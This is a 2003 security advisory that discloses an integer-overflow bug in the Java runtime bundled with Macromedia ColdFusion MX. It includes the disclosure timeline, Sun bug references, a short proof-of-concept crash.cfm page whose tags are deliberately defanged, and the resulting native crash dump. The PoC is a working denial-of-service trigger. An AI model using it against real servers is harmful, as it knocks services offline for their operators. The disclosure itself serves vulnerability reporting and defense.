-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Illegalaccess Security Advisory Name: Macromedia Coldfusion MX Systems: All platforms with jdk 1.3.1 Level _03 until _07 Risk Category: Medium Vulnerability Type: Integer Overflow Vendor URL: http://www.macromedia.com Author: Marc Schoenefeld (marc@illegalaccess.org) Date: 29th April 2003 Hi, the following cfm crashes macromedia coldfusion mx due to a integer overflow vulnerability in the bundled java virtual machine (1.3.1_03). To try just alter the <! tags ! These type of bugs have already been reported by illegalaccess.org to Sun Microsystems in February 2003, but not been fixed in the 1.3.1 edition. Suns Java 1.4.1_02 is the first version not to be vulnerable to these problems. Macromedia was informed on 4/28/03, but no reaction except a mail reception by a cgi script. For further info read: http://developer.java.sun.com/developer/bugParade/bugs/4811913.html http://developer.java.sun.com/developer/bugParade/bugs/4812181.html http://developer.java.sun.com/developer/bugParade/bugs/4812006.html http://developer.java.sun.com/developer/bugParade/bugs/4811927.html http://developer.java.sun.com/developer/bugParade/bugs/4811917.html Sincerely Marc Schoenefeld - ------------------crash.cfm------------------------- <!H1> Coldfusion MX crash with Java <!/h1> <!h2> Marc Schoenefeld @ illegalaccess.org <!/h2> <!cfapplication name="Marc" sessionmanagement="yes"> <!cfobject action="create" type="Java" class="java.lang.String" name="s"> <!cfobject action="create" type="Java" class="java.util.zip.CRC32" name="c"> <!cfset ret=s.init()> <!cfset ret=c.init()> <!cfset str = s.getBytes()> <!cfset retval = c.update(str,2147483647,4)> - ------------------crash.cfm------------------------- An unexpected exception has been detected in native code outside the VM. Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6d3c215b Function name=Java_java_util_zip_ZipEntry_initFields Library=I:\programme\CFusionMX\runtime\jre\bin\zip.dll Current Java thread: at java.util.zip.CRC32.updateBytes(Native Method) at java.util.zip.CRC32.update(Unknown Source) at java.lang.reflect.Method.invoke(Native Method) at coldfusion.runtime.java.JavaProxy.invoke(Unknown Source) at coldfusion.runtime.CfJspPage._invoke(Unknown Source) at cfcrash2ecfm1822493011.runPage(I:\Programme\CFusionMX\wwwroot\cfdocs\crash.cfm:12) at coldfusion.runtime.CfJspPage.invoke(Unknown Source) at coldfusion.tagext.lang.IncludeTag.doStartTag(Unknown Source) at coldfusion.filter.CfincludeFilter.invoke(Unknown Source) at coldfusion.filter.ApplicationFilter.invoke(Unknown Source) at coldfusion.filter.PathFilter.invoke(Unknown Source) at coldfusion.filter.ExceptionFilter.invoke(Unknown Source) at coldfusion.filter.ClientScopePersistenceFilter.invoke(Unknown Source) at coldfusion.filter.BrowserFilter.invoke(Unknown Source) at coldfusion.filter.GlobalsFilter.invoke(Unknown Source) at coldfusion.filter.DatasourceFilter.invoke(Unknown Source) at coldfusion.CfmServlet.service(Unknown Source) at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:106) at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42) at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:241) at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:527) at jrun.servlet.http.WebService.invokeRunnable(WebService.java:172) at jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:348) at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:451) at jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:294) at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66) Dynamic libraries: 0x00400000 - 0x0040F000 I:\Programme\CFusionMX\runtime\bin\jrun.exe 0x77F40000 - 0x77FEE000 C:\WINDOWS\System32\ntdll.dll 0x77E40000 - 0x77F38000 C:\WINDOWS\system32\kernel32.dll ... - -- Never be afraid to try something new. Remember, amateurs built the ark; professionals built the Titanic. -- Anonymous Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (AIX) Comment: For info see http://www.gnupg.org iD8DBQE+rp/cqCaQvrKNUNQRAvM6AJ9elG8t4gmwPQKJgpamrmOIGCirBwCeNHsN e2RINpJj1RzyBuuRvZUCBEk= =F+wc -----END PGP SIGNATURE-----
